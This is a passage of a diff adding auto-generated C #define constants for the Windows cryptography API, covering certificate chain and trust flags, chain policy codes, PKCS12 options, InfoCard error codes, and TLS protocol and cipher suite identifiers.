0x800000 +#define CERT_CHAIN_ENABLE_CODE_SIGNING_HYGIENE_FLAG 0x1000000 +#define CERT_CHAIN_ENABLE_MOTW_CODE_SIGNING_HYGIENE_FLAG 0x2000000 +#define CERT_CHAIN_DISABLE_TIMESTAMP_WEAK_FLAG 0x4000000 +#define CERT_CHAIN_DISABLE_MOTW_TIMESTAMP_WEAK_FLAG 0x8000000 +#define CERT_CHAIN_ENABLE_TIMESTAMP_HYGIENE_FLAG 0x10000000 +#define CERT_CHAIN_ENABLE_MOTW_TIMESTAMP_HYGIENE_FLAG 0x20000000 +#define CERT_CHAIN_MOTW_IGNORE_AFTER_TIME_WEAK_FLAG 0x40000000 +#define CERT_CHAIN_DISABLE_FILE_HASH_WEAK_FLAG 0x1000 +#define CERT_CHAIN_DISABLE_MOTW_FILE_HASH_WEAK_FLAG 0x2000 +#define CERT_CHAIN_DISABLE_TIMESTAMP_HASH_WEAK_FLAG 0x4000 +#define CERT_CHAIN_DISABLE_MOTW_TIMESTAMP_HASH_WEAK_FLAG 0x8000 +#define CERT_CHAIN_OPT_IN_WEAK_FLAGS 0x40000 +#define CERT_CHAIN_AUTO_CURRENT_USER 0x1 +#define CERT_CHAIN_AUTO_LOCAL_MACHINE 0x2 +#define CERT_CHAIN_AUTO_IMPERSONATED 0x3 +#define CERT_CHAIN_AUTO_PROCESS_INFO 0x4 +#define CERT_CHAIN_AUTO_PINRULE_INFO 0x5 +#define CERT_CHAIN_AUTO_NETWORK_INFO 0x6 +#define CERT_CHAIN_AUTO_SERIAL_LOCAL_MACHINE 0x7 +#define CERT_CHAIN_AUTO_HPKP_RULE_INFO 0x8 +// SKIPPED const CERT_CHAIN_AUTO_FLAGS_VALUE_NAME: non-integer constant +#define CERT_CHAIN_AUTO_FLUSH_DISABLE_FLAG 0x1 +#define CERT_CHAIN_AUTO_LOG_CREATE_FLAG 0x2 +#define CERT_CHAIN_AUTO_LOG_FREE_FLAG 0x4 +#define CERT_CHAIN_AUTO_LOG_FLUSH_FLAG 0x8 +// SKIPPED const CERT_CHAIN_AUTO_FLUSH_FIRST_DELTA_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_AUTO_FLUSH_NEXT_DELTA_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_AUTO_LOG_FILE_NAME_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_DISABLE_AUTO_FLUSH_PROCESS_NAME_LIST_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_MIN_VALIDITY_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_URL_RETRIEVAL_TIMEOUT_MILLISECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_MAX_BEFORE_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_MIN_BEFORE_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_MIN_AFTER_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_SRV_OCSP_RESP_MIN_SYNC_CERT_FILE_SECONDS_VALUE_NAME: non-integer constant +#define CERT_SRV_OCSP_RESP_MIN_SYNC_CERT_FILE_SECONDS_DEFAULT 0x5 +// SKIPPED const CERT_SRV_OCSP_RESP_MAX_SYNC_CERT_FILE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_MAX_CACHED_OCSP_PER_CRL_COUNT_VALUE_NAME: non-integer constant +#define CRYPTNET_MAX_CACHED_OCSP_PER_CRL_COUNT_DEFAULT 0x1f4 +#define CRYPTNET_OCSP_AFTER_CRL_DISABLE 0xffffffff +// SKIPPED const CRYPTNET_URL_CACHE_DEFAULT_FLUSH_EXEMPT_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_MIN_MAX_AGE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_MAX_MAX_AGE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_MIN_OCSP_VALIDITY_PERIOD_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_AFTER_PUBLISH_PRE_FETCH_DIVISOR_VALUE_NAME: non-integer constant +#define CRYPTNET_PRE_FETCH_AFTER_PUBLISH_PRE_FETCH_DIVISOR_DEFAULT 0xa +// SKIPPED const CRYPTNET_PRE_FETCH_BEFORE_NEXT_UPDATE_PRE_FETCH_DIVISOR_VALUE_NAME: non-integer constant +#define CRYPTNET_PRE_FETCH_BEFORE_NEXT_UPDATE_PRE_FETCH_DIVISOR_DEFAULT 0x14 +// SKIPPED const CRYPTNET_PRE_FETCH_MIN_BEFORE_NEXT_UPDATE_PRE_FETCH_PERIOD_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_VALIDITY_PERIOD_AFTER_NEXT_UPDATE_PRE_FETCH_DIVISOR_VALUE_NAME: non-integer constant +#define CRYPTNET_PRE_FETCH_VALIDITY_PERIOD_AFTER_NEXT_UPDATE_PRE_FETCH_DIVISOR_DEFAULT 0xa +// SKIPPED const CRYPTNET_PRE_FETCH_MAX_AFTER_NEXT_UPDATE_PRE_FETCH_PERIOD_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_MIN_AFTER_NEXT_UPDATE_PRE_FETCH_PERIOD_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_AFTER_CURRENT_TIME_PRE_FETCH_PERIOD_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_PRE_FETCH_TRIGGER_PERIOD_SECONDS_VALUE_NAME: non-integer constant +#define CRYPTNET_PRE_FETCH_TRIGGER_DISABLE 0xffffffff +// SKIPPED const CRYPTNET_PRE_FETCH_SCAN_AFTER_TRIGGER_DELAY_SECONDS_VALUE_NAME: non-integer constant +#define CRYPTNET_PRE_FETCH_SCAN_AFTER_TRIGGER_DELAY_SECONDS_DEFAULT 0x3c +// SKIPPED const CRYPTNET_PRE_FETCH_RETRIEVAL_TIMEOUT_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_PROCESS_NAME_LIST_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_URL_LIST_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_DISABLE_INFORMATION_EVENTS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_LOG_FILE_NAME_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_TIMEOUT_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_MAX_AGE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_PUBLISH_BEFORE_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_PUBLISH_RANDOM_INTERVAL_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_MIN_BEFORE_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CRL_PRE_FETCH_MIN_AFTER_NEXT_UPDATE_SECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_URL_RETRIEVAL_TIMEOUT_MILLISECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_REV_ACCUMULATIVE_URL_RETRIEVAL_TIMEOUT_MILLISECONDS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_RETR_BEHAVIOR_INET_AUTH_VALUE_NAME: non-integer constant +// SKIPPED const CERT_RETR_BEHAVIOR_INET_STATUS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_RETR_BEHAVIOR_FILE_VALUE_NAME: non-integer constant +// SKIPPED const CERT_RETR_BEHAVIOR_LDAP_VALUE_NAME: non-integer constant +// SKIPPED const CRYPTNET_CACHED_OCSP_SWITCH_TO_CRL_COUNT_VALUE_NAME: non-integer constant +#define CRYPTNET_CACHED_OCSP_SWITCH_TO_CRL_COUNT_DEFAULT 0x32 +#define CRYPTNET_CRL_BEFORE_OCSP_ENABLE 0xffffffff +// SKIPPED const CERT_CHAIN_DISABLE_AIA_URL_RETRIEVAL_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_OPTIONS_VALUE_NAME: non-integer constant +#define CERT_CHAIN_OPTION_DISABLE_AIA_URL_RETRIEVAL 0x2 +#define CERT_CHAIN_OPTION_ENABLE_SIA_URL_RETRIEVAL 0x4 +// SKIPPED const CERT_CHAIN_CROSS_CERT_DOWNLOAD_INTERVAL_HOURS_VALUE_NAME: non-integer constant +// SKIPPED const CERT_CHAIN_CRL_VALIDITY_EXT_PERIOD_HOURS_VALUE_NAME: non-integer constant +#define CERT_CHAIN_CRL_VALIDITY_EXT_PERIOD_HOURS_DEFAULT 0xc +#define CERT_CHAIN_CACHE_END_CERT 0x1 +#define CERT_CHAIN_THREAD_STORE_SYNC 0x2 +#define CERT_CHAIN_CACHE_ONLY_URL_RETRIEVAL 0x4 +#define CERT_CHAIN_USE_LOCAL_MACHINE_STORE 0x8 +#define CERT_CHAIN_ENABLE_CACHE_AUTO_UPDATE 0x10 +#define CERT_CHAIN_ENABLE_SHARE_STORE 0x20 +#define CERT_CHAIN_EXCLUSIVE_ENABLE_CA_FLAG 0x1 +#define CERT_TRUST_NO_ERROR 0x0 +#define CERT_TRUST_IS_NOT_TIME_VALID 0x1 +#define CERT_TRUST_IS_NOT_TIME_NESTED 0x2 +#define CERT_TRUST_IS_REVOKED 0x4 +#define CERT_TRUST_IS_NOT_SIGNATURE_VALID 0x8 +#define CERT_TRUST_IS_NOT_VALID_FOR_USAGE 0x10 +#define CERT_TRUST_IS_UNTRUSTED_ROOT 0x20 +#define CERT_TRUST_REVOCATION_STATUS_UNKNOWN 0x40 +#define CERT_TRUST_IS_CYCLIC 0x80 +#define CERT_TRUST_INVALID_EXTENSION 0x100 +#define CERT_TRUST_INVALID_POLICY_CONSTRAINTS 0x200 +#define CERT_TRUST_INVALID_BASIC_CONSTRAINTS 0x400 +#define CERT_TRUST_INVALID_NAME_CONSTRAINTS 0x800 +#define CERT_TRUST_HAS_NOT_SUPPORTED_NAME_CONSTRAINT 0x1000 +#define CERT_TRUST_HAS_NOT_DEFINED_NAME_CONSTRAINT 0x2000 +#define CERT_TRUST_HAS_NOT_PERMITTED_NAME_CONSTRAINT 0x4000 +#define CERT_TRUST_HAS_EXCLUDED_NAME_CONSTRAINT 0x8000 +#define CERT_TRUST_IS_OFFLINE_REVOCATION 0x1000000 +#define CERT_TRUST_NO_ISSUANCE_CHAIN_POLICY 0x2000000 +#define CERT_TRUST_IS_EXPLICIT_DISTRUST 0x4000000 +#define CERT_TRUST_HAS_NOT_SUPPORTED_CRITICAL_EXT 0x8000000 +#define CERT_TRUST_HAS_WEAK_SIGNATURE 0x100000 +#define CERT_TRUST_HAS_WEAK_HYGIENE 0x200000 +#define CERT_TRUST_HAS_MIN_TELEMETRY_RSA 0x400000 +#define CERT_TRUST_HAS_MIN_WEAK_RSA 0x800000 +#define CERT_TRUST_IS_PARTIAL_CHAIN 0x10000 +#define CERT_TRUST_CTL_IS_NOT_TIME_VALID 0x20000 +#define CERT_TRUST_CTL_IS_NOT_SIGNATURE_VALID 0x40000 +#define CERT_TRUST_CTL_IS_NOT_VALID_FOR_USAGE 0x80000 +#define CERT_TRUST_HAS_EXACT_MATCH_ISSUER 0x1 +#define CERT_TRUST_HAS_KEY_MATCH_ISSUER 0x2 +#define CERT_TRUST_HAS_NAME_MATCH_ISSUER 0x4 +#define CERT_TRUST_IS_SELF_SIGNED 0x8 +#define CERT_TRUST_AUTO_UPDATE_CA_REVOCATION 0x10 +#define CERT_TRUST_AUTO_UPDATE_END_REVOCATION 0x20 +#define CERT_TRUST_NO_OCSP_FAILOVER_TO_CRL 0x40 +#define CERT_TRUST_IS_KEY_ROLLOVER 0x80 +#define CERT_TRUST_SSL_HANDSHAKE_OCSP 0x40000 +#define CERT_TRUST_SSL_TIME_VALID_OCSP 0x80000 +#define CERT_TRUST_SSL_RECONNECT_OCSP 0x100000 +#define CERT_TRUST_HAS_PREFERRED_ISSUER 0x100 +#define CERT_TRUST_HAS_ISSUANCE_CHAIN_POLICY 0x200 +#define CERT_TRUST_HAS_VALID_NAME_CONSTRAINTS 0x400 +#define CERT_TRUST_IS_PEER_TRUSTED 0x800 +#define CERT_TRUST_HAS_CRL_VALIDITY_EXTENDED 0x1000 +#define CERT_TRUST_IS_FROM_EXCLUSIVE_TRUST_STORE 0x2000 +#define CERT_TRUST_IS_CA_TRUSTED 0x4000 +#define CERT_TRUST_HAS_AUTO_UPDATE_WEAK_SIGNATURE 0x8000 +#define CERT_TRUST_HAS_ALLOW_WEAK_SIGNATURE 0x20000 +#define CERT_TRUST_BEFORE_DISALLOWED_CA_FILETIME 0x200000 +#define CERT_TRUST_IS_COMPLEX_CHAIN 0x10000 +#define CERT_TRUST_SSL_TIME_VALID 0x1000000 +#define CERT_TRUST_NO_TIME_CHECK 0x2000000 +#define USAGE_MATCH_TYPE_AND 0x0 +#define USAGE_MATCH_TYPE_OR 0x1 +#define CERT_CHAIN_STRONG_SIGN_DISABLE_END_CHECK_FLAG 0x1 +#define CERT_CHAIN_REVOCATION_CHECK_END_CERT 0x10000000 +#define CERT_CHAIN_REVOCATION_CHECK_CHAIN 0x20000000 +#define CERT_CHAIN_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT 0x40000000 +#define CERT_CHAIN_REVOCATION_CHECK_CACHE_ONLY 0x80000000 +#define CERT_CHAIN_REVOCATION_ACCUMULATIVE_TIMEOUT 0x8000000 +#define CERT_CHAIN_REVOCATION_CHECK_OCSP_CERT 0x4000000 +#define CERT_CHAIN_DISABLE_PASS1_QUALITY_FILTERING 0x40 +#define CERT_CHAIN_RETURN_LOWER_QUALITY_CONTEXTS 0x80 +#define CERT_CHAIN_DISABLE_AUTH_ROOT_AUTO_UPDATE 0x100 +#define CERT_CHAIN_TIMESTAMP_TIME 0x200 +#define CERT_CHAIN_ENABLE_PEER_TRUST 0x400 +#define CERT_CHAIN_DISABLE_MY_PEER_TRUST 0x800 +#define CERT_CHAIN_DISABLE_MD2_MD4 0x1000 +#define CERT_CHAIN_DISABLE_AIA 0x2000 +#define CERT_CHAIN_HAS_MOTW 0x4000 +#define CERT_CHAIN_ONLY_ADDITIONAL_AND_AUTH_ROOT 0x8000 +#define CERT_CHAIN_OPT_IN_WEAK_SIGNATURE 0x10000 +#define CERT_CHAIN_ENABLE_DISALLOWED_CA 0x20000 +#define REVOCATION_OID_CRL_REVOCATION 1 +#define CERT_CHAIN_FIND_BY_ISSUER 0x1 +// SKIPPED const CRYPT_OID_VERIFY_CERTIFICATE_CHAIN_POLICY_FUNC: non-integer constant +#define CERT_CHAIN_POLICY_BASE 1 +#define CERT_CHAIN_POLICY_AUTHENTICODE 2 +#define CERT_CHAIN_POLICY_AUTHENTICODE_TS 3 +#define CERT_CHAIN_POLICY_SSL 4 +#define CERT_CHAIN_POLICY_BASIC_CONSTRAINTS 5 +#define CERT_CHAIN_POLICY_NT_AUTH 6 +#define CERT_CHAIN_POLICY_MICROSOFT_ROOT 7 +#define CERT_CHAIN_POLICY_EV 8 +#define CERT_CHAIN_POLICY_SSL_F12 9 +#define CERT_CHAIN_POLICY_SSL_HPKP_HEADER 10 +#define CERT_CHAIN_POLICY_THIRD_PARTY_ROOT 11 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN 12 +#define CERT_CHAIN_POLICY_CT 13 +#define SSL_F12_ERROR_TEXT_LENGTH 0x100 +#define CERT_CHAIN_POLICY_SSL_F12_SUCCESS_LEVEL 0x0 +#define CERT_CHAIN_POLICY_SSL_F12_WARNING_LEVEL 0x1 +#define CERT_CHAIN_POLICY_SSL_F12_ERROR_LEVEL 0x2 +#define CERT_CHAIN_POLICY_SSL_F12_NONE_CATEGORY 0x0 +#define CERT_CHAIN_POLICY_SSL_F12_WEAK_CRYPTO_CATEGORY 0x1 +#define CERT_CHAIN_POLICY_SSL_F12_ROOT_PROGRAM_CATEGORY 0x2 +#define SSL_HPKP_PKP_HEADER_INDEX 0x0 +#define SSL_HPKP_PKP_RO_HEADER_INDEX 0x1 +#define SSL_HPKP_HEADER_COUNT 0x2 +#define SSL_KEY_PIN_ERROR_TEXT_LENGTH 0x200 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN_MISMATCH_ERROR -2 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN_MITM_ERROR -1 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN_SUCCESS 0x0 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN_MITM_WARNING 0x1 +#define CERT_CHAIN_POLICY_SSL_KEY_PIN_MISMATCH_WARNING 0x2 +#define CERT_CHAIN_POLICY_CT_ERROR_UNDECODABLE_SCT_EXTENSION -112 +#define CERT_CHAIN_POLICY_CT_ERROR_UNRETRIEVABLE_SCT_EXTENSION -111 +#define CERT_CHAIN_POLICY_CT_ERROR_MISSING_SCT_EXTENSION -110 +#define CERT_CHAIN_POLICY_CT_ERROR_INVALID_ISSUER_CERT -101 +#define CERT_CHAIN_POLICY_CT_ERROR_INVALID_SUBJECT_CERT -100 +#define CERT_CHAIN_POLICY_CT_ERROR_CANNOT_VALIDATE_SCT -50 +#define CERT_CHAIN_POLICY_CT_ERROR_SCT_VALIDATION_STATUS_INSUFFICIENT -4 +#define CERT_CHAIN_POLICY_CT_ERROR_SCT_VALIDATION_STATUS_UNKNOWN_VERSION -3 +#define CERT_CHAIN_POLICY_CT_ERROR_SCT_VALIDATION_STATUS_UNKNOWN_LOG -2 +#define CERT_CHAIN_POLICY_CT_ERROR_SCT_VALIDATION_STATUS_INVALID -1 +#define CERT_CHAIN_POLICY_CT_SUCCESS_SCT_VALIDIDATION_STATUS_VALID 0x0 +#define CERT_CHAIN_POLICY_CT_WARNING_OUT_OF_MEMORY 0x1 +#define CERT_CHAIN_POLICY_CT_WARNING_BEFORE_CODE_SIGNING_CT_LOGGING 0x2 +#define CERT_CHAIN_POLICY_CT_WARNING_NOT_THIRD_PARTY_CERT 0x3 +#define CERT_CHAIN_POLICY_CT_WARNING_EXPIRED_ROOT_CTL 0x4 +#define CERT_CHAIN_POLICY_CT_WARNING_INVALID_CHAIN_CONTEXT 0x32 +#define CERT_CHAIN_POLICY_CT_WARNING_NOT_SUPPORTED_CA 0x33 +#define CERT_CHAIN_POLICY_CT_WARNING_MISSING_ROOT_CTL 0x34 +#define CERT_CHAIN_POLICY_CT_WARNING_MISSING_CT_EXT 0x3c +#define CERT_CHAIN_POLICY_CT_WARNING_INVALID_CT_EXT 0x3d +#define CERT_CHAIN_POLICY_CT_WARNING_UNABLE_TO_DECODE_EXT 0x3e +#define CERT_CHAIN_POLICY_CT_WARNING_UNABLE_TO_DECODE_PARAMETERS 0x46 +#define CERT_CHAIN_POLICY_CT_WARNING_INVALID_TEMP_FILE 0x50 +#define CERT_CHAIN_POLICY_CT_WARNING_CANNOT_CREATE_TEMP_FILE 0x51 +#define CERT_CHAIN_POLICY_CT_WARNING_CANNOT_WRITE_TEMP_FILE 0x52 +#define CERT_CHAIN_POLICY_CT_WARNING_CANNOT_LOAD_CTLOG_STORE_FILE 0x53 +#define CERT_CHAIN_POLICY_CT_WARNING_FAILED_INIT 0x5a +#define CERT_CHAIN_POLICY_CT_WARNING_HASHING_ERROR 0xc8 +#define CERT_CHAIN_POLICY_CT_WARNING_INVALID_STR 0xc9 +#define CERT_CHAIN_POLICY_CT_WARNING_CANNOT_CREATE_POLICY 0x12c +#define CRYPT_STRING_BASE64URI 0xd +#define CRYPT_STRING_ENCODEMASK 0xff +#define CRYPT_STRING_RESERVED100 0x100 +#define CRYPT_STRING_RESERVED200 0x200 +#define CRYPT_STRING_PERCENTESCAPE 0x8000000 +#define CRYPT_STRING_HASHDATA 0x10000000 +#define CRYPT_STRING_NOCRLF 0x40000000 +#define CRYPT_STRING_NOCR 0x80000000 +// SKIPPED const szOID_PKCS_12_PbeIds: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And128BitRC4: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And40BitRC4: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And3KeyTripleDES: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And2KeyTripleDES: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And128BitRC2: non-integer constant +// SKIPPED const szOID_PKCS_12_pbeWithSHA1And40BitRC2: non-integer constant +// SKIPPED const szOID_PKCS_5_PBKDF2: non-integer constant +// SKIPPED const szOID_PKCS_5_PBES2: non-integer constant +#define PKCS12_IMPORT_SILENT 0x40 +#define PKCS12_ONLY_CERTIFICATES 0x400 +#define PKCS12_ONLY_NOT_ENCRYPTED_CERTIFICATES 0x800 +#define PKCS12_VIRTUAL_ISOLATION_KEY 0x10000 +#define PKCS12_IMPORT_RESERVED_MASK 0xffff0000 +#define PKCS12_NAMED_NO_PERSIST_KEY 0x20000 +#define PKCS12_ONLY_CERTIFICATES_PROVIDER_TYPE 0x0 +// SKIPPED const PKCS12_ONLY_CERTIFICATES_PROVIDER_NAME: non-integer constant +// SKIPPED const PKCS12_ONLY_CERTIFICATES_CONTAINER_NAME: non-integer constant +#define REPORT_NO_PRIVATE_KEY 0x1 +#define REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY 0x2 +#define EXPORT_PRIVATE_KEYS 0x4 +#define PKCS12_PROTECT_TO_DOMAIN_SIDS 0x20 +#define PKCS12_EXPORT_SILENT 0x40 +#define PKCS12_EXPORT_PBES2_PARAMS 0x80 +#define PKCS12_DISABLE_ENCRYPT_CERTIFICATES 0x100 +#define PKCS12_ENCRYPT_CERTIFICATES 0x200 +#define PKCS12_EXPORT_ECC_CURVE_PARAMETERS 0x1000 +#define PKCS12_EXPORT_ECC_CURVE_OID 0x2000 +#define PKCS12_EXPORT_RESERVED_MASK 0xffff0000 +// SKIPPED const PKCS12_PBKDF2_ID_HMAC_SHA1: non-integer constant +// SKIPPED const PKCS12_PBKDF2_ID_HMAC_SHA256: non-integer constant +// SKIPPED const PKCS12_PBKDF2_ID_HMAC_SHA384: non-integer constant +// SKIPPED const PKCS12_PBKDF2_ID_HMAC_SHA512: non-integer constant +// SKIPPED const PKCS12_PBES2_ALG_AES256_SHA256: non-integer constant +// SKIPPED const PKCS12_CONFIG_REGPATH: non-integer constant +// SKIPPED const PKCS12_ENCRYPT_CERTIFICATES_VALUE_NAME: non-integer constant +#define CERT_SERVER_OCSP_RESPONSE_OPEN_PARA_READ_FLAG 0x1 +#define CERT_SERVER_OCSP_RESPONSE_OPEN_PARA_WRITE_FLAG 0x2 +#define CERT_SERVER_OCSP_RESPONSE_ASYNC_FLAG 0x1 +#define CERT_RETRIEVE_ISSUER_LOGO 1 +#define CERT_RETRIEVE_SUBJECT_LOGO 2 +#define CERT_RETRIEVE_COMMUNITY_LOGO 3 +#define CERT_RETRIEVE_BIOMETRIC_PREDEFINED_BASE_TYPE 1000 +#define CERT_SELECT_MAX_PARA 0x1f4 +#define CERT_SELECT_BY_ISSUER_DISPLAYNAME 0xc +#define CERT_SELECT_BY_FRIENDLYNAME 0xd +#define CERT_SELECT_BY_THUMBPRINT 0xe +#define CERT_SELECT_ALLOW_EXPIRED 0x1 +#define CERT_SELECT_TRUSTED_ROOT 0x2 +#define CERT_SELECT_DISALLOW_SELFSIGNED 0x4 +#define CERT_SELECT_HAS_PRIVATE_KEY 0x8 +#define CERT_SELECT_HAS_KEY_FOR_SIGNATURE 0x10 +#define CERT_SELECT_HAS_KEY_FOR_KEY_EXCHANGE 0x20 +#define CERT_SELECT_HARDWARE_ONLY 0x40 +#define CERT_SELECT_ALLOW_DUPLICATES 0x80 +#define CERT_SELECT_IGNORE_AUTOSELECT 0x100 +#define TIMESTAMP_FAILURE_BAD_ALG 0x0 +#define TIMESTAMP_FAILURE_BAD_REQUEST 0x2 +#define TIMESTAMP_FAILURE_BAD_FORMAT 0x5 +#define TIMESTAMP_FAILURE_TIME_NOT_AVAILABLE 0xe +#define TIMESTAMP_FAILURE_POLICY_NOT_SUPPORTED 0xf +#define TIMESTAMP_FAILURE_EXTENSION_NOT_SUPPORTED 0x10 +#define TIMESTAMP_FAILURE_INFO_NOT_AVAILABLE 0x11 +#define TIMESTAMP_FAILURE_SYSTEM_FAILURE 0x19 +#define TIMESTAMP_DONT_HASH_DATA 0x1 +#define TIMESTAMP_VERIFY_CONTEXT_SIGNATURE 0x20 +#define TIMESTAMP_NO_AUTH_RETRIEVAL 0x20000 +#define CRYPT_OBJECT_LOCATOR_SPN_NAME_TYPE 0x1 +#define CRYPT_OBJECT_LOCATOR_LAST_RESERVED_NAME_TYPE 0x20 +#define CRYPT_OBJECT_LOCATOR_FIRST_RESERVED_USER_NAME_TYPE 0x21 +#define CRYPT_OBJECT_LOCATOR_LAST_RESERVED_USER_NAME_TYPE 0xffff +// SKIPPED const SSL_OBJECT_LOCATOR_PFX_FUNC: non-integer constant +// SKIPPED const SSL_OBJECT_LOCATOR_ISSUER_LIST_FUNC: non-integer constant +// SKIPPED const SSL_OBJECT_LOCATOR_CERT_VALIDATION_CONFIG_FUNC: non-integer constant +#define CERT_FILE_HASH_USE_TYPE 0x1 +#define CERT_TIMESTAMP_HASH_USE_TYPE 0x2 +#define RECIPIENTPOLICYV1 0x1 +#define RECIPIENTPOLICYV2 0x2 +#define E_ICARD_COMMUNICATION -1073413888 +#define E_ICARD_DATA_ACCESS -1073413887 +#define E_ICARD_EXPORT -1073413886 +#define E_ICARD_IDENTITY -1073413885 +#define E_ICARD_IMPORT -1073413884 +#define E_ICARD_ARGUMENT -1073413883 +#define E_ICARD_REQUEST -1073413882 +#define E_ICARD_INFORMATIONCARD -1073413881 +#define E_ICARD_STOREKEY -1073413880 +#define E_ICARD_LOGOVALIDATION -1073413879 +#define E_ICARD_PASSWORDVALIDATION -1073413878 +#define E_ICARD_POLICY -1073413877 +#define E_ICARD_PROCESSDIED -1073413876 +#define E_ICARD_SERVICEBUSY -1073413875 +#define E_ICARD_SERVICE -1073413874 +#define E_ICARD_SHUTTINGDOWN -1073413873 +#define E_ICARD_TOKENCREATION -1073413872 +#define E_ICARD_TRUSTEXCHANGE -1073413871 +#define E_ICARD_UNTRUSTED -1073413870 +#define E_ICARD_USERCANCELLED -1073413869 +#define E_ICARD_STORE_IMPORT -1073413868 +#define E_ICARD_FAIL -1073413867 +#define E_ICARD_UI_INITIALIZATION -1073413862 +#define E_ICARD_REFRESH_REQUIRED -1073413760 +#define E_ICARD_MISSING_APPLIESTO -1073413759 +#define E_ICARD_INVALID_PROOF_KEY -1073413758 +#define E_ICARD_UNKNOWN_REFERENCE -1073413757 +#define E_ICARD_FAILED_REQUIRED_CLAIMS -1073413756 +#define AUDIT_CARD_WRITTEN 1074070016 +#define AUDIT_CARD_DELETE 1074070017 +#define AUDIT_CARD_IMPORT 1074070018 +#define AUDIT_STORE_IMPORT 1074070019 +#define AUDIT_STORE_EXPORT 1074070020 +#define AUDIT_STORE_DELETE 1074070021 +#define AUDIT_SERVICE_IDLE_STOP 1074070022 +#define BCRYPT_ECC_PARAMETER_HEADER_V1 0x1 +#define BCRYPT_COPY_AFTER_PADDING_CHECK_FAILURE_FLAG 0x100 +// SKIPPED const MS_SCHANNEL_PROVIDER: non-integer constant +#define NCRYPT_SSL_CLIENT_FLAG 0x1 +#define NCRYPT_SSL_SERVER_FLAG 0x2 +#define SSL2_PROTOCOL_VERSION 0x2 +#define SSL3_PROTOCOL_VERSION 0x300 +#define TLS1_PROTOCOL_VERSION 0x301 +#define TLS1_0_PROTOCOL_VERSION 0x301 +#define TLS1_1_PROTOCOL_VERSION 0x302 +#define TLS1_2_PROTOCOL_VERSION 0x303 +#define TLS1_3_PROTOCOL_VERSION 0x304 +#define DTLS1_0_PROTOCOL_VERSION 0xfeff +#define DTLS1_2_PROTOCOL_VERSION 0xfefd +#define TLS_RSA_WITH_NULL_MD5 0x1 +#define TLS_RSA_WITH_NULL_SHA 0x2 +#define TLS_RSA_EXPORT_WITH_RC4_40_MD5 0x3 +#define TLS_RSA_WITH_RC4_128_MD5 0x4 +#define TLS_RSA_WITH_RC4_128_SHA 0x5 +#define TLS_RSA_WITH_DES_CBC_SHA 0x9 +#define TLS_RSA_WITH_3DES_EDE_CBC_SHA 0xa +#define TLS_DHE_DSS_WITH_DES_CBC_SHA 0x12 +#define TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA 0x13 +#define TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA 0x16 +#define TLS_RSA_WITH_AES_128_CBC_SHA 0x2f +#define TLS_DHE_DSS_WITH_AES_128_CBC_SHA 0x32 +#define TLS_DHE_RSA_WITH_AES_128_CBC_SHA 0x33 +#define TLS_RSA_WITH_AES_256_CBC_SHA 0x35 +#define TLS_DHE_DSS_WITH_AES_256_CBC_SHA 0x38 +#define TLS_DHE_RSA_WITH_AES_256_CBC_SHA 0x39 +#define TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA 0x62 +#define TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA 